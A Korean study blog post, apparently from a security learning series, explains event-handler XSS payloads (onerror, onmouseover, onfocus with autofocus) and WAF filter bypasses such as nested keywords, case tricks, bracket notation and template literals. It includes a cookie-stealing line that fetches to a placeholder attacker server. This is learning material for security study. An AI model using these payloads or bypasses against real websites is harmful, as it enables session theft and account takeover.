프롤로그
XSS를 어떻게 더 수행할 수 있는가에 대한 내용과, XSS를 막기 위해 WAF 필터링을 하였을 때.... 이를 우회할 수 있는 방법
Event Handler XSS
HTML 태그의 이벤트 핸들러 속성(onclick, onmouseover, onload..등을 이용해서 자바스크립트를 실행하는 방법이다)
가장 대표적으로 많이 쓰이는 게 img인데
<img src="a.png" onerror=alert(1)>
이렇게 img src를 불러왔는데, a.png라는 파일이 없을 떄 처리하는 onerror가 수행될 떄, 저기에 자바스크립트를 집어넣어서 처리하는 방식이다.
저기에 악성코드를 심어놓으면? XSS 가 수행되게 된다.
다른 이벤트 핸들러들도 있다. onclick을 확인해보자
일반 게시판에다가
<button onclick="alert(1)">버튼 눌러라</button>
을 입력한 후에 게시글을 등록하면
이렇게 게시글에 웬 버튼이 하나 생성이 되고 저것을 클릭할 시에
우리가 작성한 스크립트 코드(onclick 태그에서 실행)이 실행된 것을 확인할 수 있다.
onerror event handler
EventHandler XSS의 가장 대표적인데 이 onerror event handler이다.
온에러. 이미지, 스크립트, 스타일시트 등 HTML요소가 로드되지 않거나 오류가 발생했을 떄 실행되는 이벤트 핸들러인데
<img src="a.png" onerror=alert(1)>
맨 처음에 소개했던 이 것이다.
이런식으로 게시판에다가 위 코드를 작성하고 저장하기 버튼을 누른후에 다시 해당 글에 접속을 해보자.
를 해보려고했는데...
올릴때마다 서버가 터진다.
뭔가 오류가 발생한다.
그래서
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=<device-width>, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div>
<h1>안녕</h1>
<img src=1 onerror="alert(1)">
</div>
</body>
</html>
visual live server를 파서 이걸로 실행해본 결과
이렇게 alert가 뜬 것을 확인할 수 있다.
다른 애들도 정상적으로 수행 되는데
<audio><source src=1 herf=1 onerror="alert(1)"</audio>
<audio><source src=1 herf=1 onerror="javascript:alert(1)"</audio>
이렇게 audio의 경우, 도 된다.
그리고 onerror 쓸 때 그냥 alert(1) 이렇게 해도 작동이 되고, javascript:alert(1) 이렇게 적어도 정상적으로 작동한다.
그 외에
<!-- <img src="1" onerror=alert(1)> -->
<audio><source src=1 herf=1 onerror="alert(1)"</audio>
<audio><source src=1 herf=1 onerror="javascript:alert(1)"</audio>
<video><source src=1 herf=1 onerror="alert(1)"</video>
<video><source src=1 herf=1 onerror="javascript:alert(1)"</video>
<image src="1" onerror=alert(1)/>
<object data="1" herf="1" onerror="alert(1)"/>
<script src=1 href=1 onerror="alert(1)"/>
<body src="1" href="1" onerror="javascript:alert(1)"/>
video, audio, image, img, object, script, body이거 다 onerror 쓸 수 있다.
onMouse
바로 보이겠지만 마우스와 관련된 작업을 할 때 나오는 핸들러이다.
onmouseover : 사용자가 마우스를 요소 위에 올렸을 때
<div onmouseover="alert('XSS')">Hover over me</div>
onmousemove : 사용자가 요소 위에서 마우스를 움직일때
<div onmousemove="console.log('Mouse moved!')">Move your mouse here</div>
onmouseout : 사용자가 마우스를 요소 밖으로 이동했을 때
<div onmouseout="alert('Mouse left!')">Hover and leave</div>
각각 실행된다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=<device-width>, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div onmouseover="alert('XSS')" onmousemove="alert('XSS2')" onmouseout="alert('XSS3')">Hover over me</div>
</body>
</html>
이런식으로 코드 작성하고 실행했더니 계속 해서 XSS, XSS2, XSS3 알람창이 계속 뜨더라.
onLoad
요소가 로드될 때 실행된다. 이미지 불러올때 onerror 안 쓰고 onload 해도 수행이 될 수 있다.
<img src="1.jpg" onload="alert(1)">
onPopState
브라우저의 히스토리 상태(history state)가 변경될 때 실행되는 이벤트 리스너이다. 흔히 뒤로가기, 앞으로 가기 등을 눌렀을 때 발생하는 것이다.
<script>
window.onpopstate = function() {
alert('State changed!');
};
</script>
이거인데
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>History API Demo</title>
</head>
<body>
<button id="pushStateButton">Change State</button>
<script>
// onpopstate 이벤트 핸들러 등록
window.onpopstate = function(event) {
alert(`State changed to: ${JSON.stringify(event.state)}`);
};
// pushState 버튼 클릭 시 히스토리 상태 변경
document.getElementById('pushStateButton').addEventListener('click', function() {
history.pushState({ page: 1 }, 'Title', '?page=1');
alert('State pushed: { page: 1 }');
});
</script>
</body>
</html>
이걸 수행하면
앞으로가기, 뒤로가기 버튼을 눌러도 스크립트가 실행된다.
onfocus + autofocus
onfocus는 HTML 요소가 포커스를 얻었을 때 발생하는 이벤트이다.
그리고 auto focus는 페이지가 로드될때 자동으로 특정 요소에 포커스를 설정하는 것이다.
흔히 말해서 tab키 눌렀을 때 아이디창에서 비번창 넘어가고, 로그인 버튼으로 넘어가는 그런 느낌이다. 그리고 autofocus는 로드되자마자 바로 해당 요소로 포커스 되게 만드는 거다.
이 autofocus는 하나만 적용가능하다.
이걸로 XSS를 어떻게 하냐?
<input type="text" onfocus="fetch('공격자서버?cookie='+document.cookie)">
이렇게 했을 때 실행되는거다
근데 autofocus설정이 되어있다면?
그냥 바로 포커스가 자동으로 설정되니까...탈취되는것이다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>onfocus vs autofocus</title>
</head>
<body>
<form>
<input type="text" autofocus placeholder="This field gets focus automatically"
onfocus="console.log('Field is focused!')">
<input type="password" placeholder="Enter your password">
</form>
</body>
</html>
여기서 autofocus가 설정이 되어있는데
저기에 onfocus 후에 자바스크립트 작성하면?
그래도 탈취되는 것이다.
WAF bypass
XSS 도 SQL Injection처럼 해당 기법을 막기 위해 필터링을 해버린다. 이를 우회하기 위한 여러 가지 방법들이 있는데 각 상황별 우회방법들이다.
String filtering
문자열의 일부를 아예 못쓰게 막거나 대체하는 거다.
1. replace string : 문자열 대체
문자열을 못쓰게 특정 값을 다른 값으로 변경했을 경우이다.
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
이렇게 설정되어있을 경우에,
script, on, javascript: 단어는 공백으로 처리가 되어버린다.
이럴 때
<scscriptript> , oonn javajavascriptscript:
이런식으로 사용하면 필터링을 우회할 수 있다.
근데 위 코드에서 만약에
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
text = text.replace(f, "")
return text
이런식으로 입력받은 값을 전부 소문자로 처리하거나 이런 코드가 없다면
<SCRIPT>, <sCRIPT> 이런식으로 대문자들을 넣어서 처리할 수도 있다.
2. vulnerable string check : 문자열을 체크할때
그냥 <script>이런 게 있는 거 확인한다면?
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
return false
return text
이렇게 있으면 위에서 말한 것처럼
<SCRIPT>, <sCRIPT> 이런식으로 대문자들을 넣어서 처리할 수도 있다.
3. 특정 태그 필터링
그다음
def xss_filter(text):
_filter = ["<script", "<img", "<body"]
for f in _filter:
if f in text.lower():
return False
return text
이런식으로 태그들을 막아버린다면?
lower걸려있어서 script를 쓰지를 못한다. 그렇다면 아까 위에서 배운 onclick, onfocus + autofocus, onerror 등을 사용해서 사용할 수 있다.
4. URL normalization
아까 위에서 저렇게 script라는 단어를 필터링한다고 했을 때 그게 url에서 필터링할수도 있다.
근데 url에서는 브라우저에서 url사용하기 전에 특수문자를 제거하는 과정을 거치는데
sc\tript 이런식으로 사용해도 되고, \X, \U등으로 사용해도 된다.
special char filtering
다음은 특수한 문자를 필터링 하였을 때 우회하는 방법이다
1. .(dot) filtering
.을 막았을 경우.
기존에
document.cookie;
location.href
이런것들은 []을 사용해서 우회할 수 있다
document['cookie']
location['href']
2. parentheses filtering
소괄호 필터링을 당했을 때인데,
alert(1)
이게 막히면
alert `1`
이렇게 우회할 수 있다.
3. quote filtering
32진수로 바꾸거나
alert.toString() 이렇게 배열로 만들어서 하나하나씩 원하는 문자 뽑아내거나.... ().toString(32)로 32진수로 만들어서 해도 된다.
에필로그
실습할 수 있는 방법이 없다보니까 실습해볼려고 노력을 해봤는데 이 셀레니움이 문제였다. 드림핵이든...뭐든..
그냥 지금 드는 생각은 이렇게 정리해보는 것보단 문제 풀이가 더 우선이지 않을까싶다.
'KnockOn' 카테고리의 다른 글
[KnockOn] 5.1 xss_WAF_1 Write-Up (0) | 2025.01.03 |
---|---|
[KnockOn] 3.6 SQLi_WAF_5 Write-Up (0) | 2025.01.03 |
[KnockOn] Cross Site Scripting(XSS)와 이를 활용한 해킹 기법 (0) | 2025.01.03 |
[KnockOn] 3.6 SQLi_WAF_6 Write-Up (0) | 2025.01.02 |
[KnockOn] 4. Xross Site Scripting Write-Up (0) | 2025.01.01 |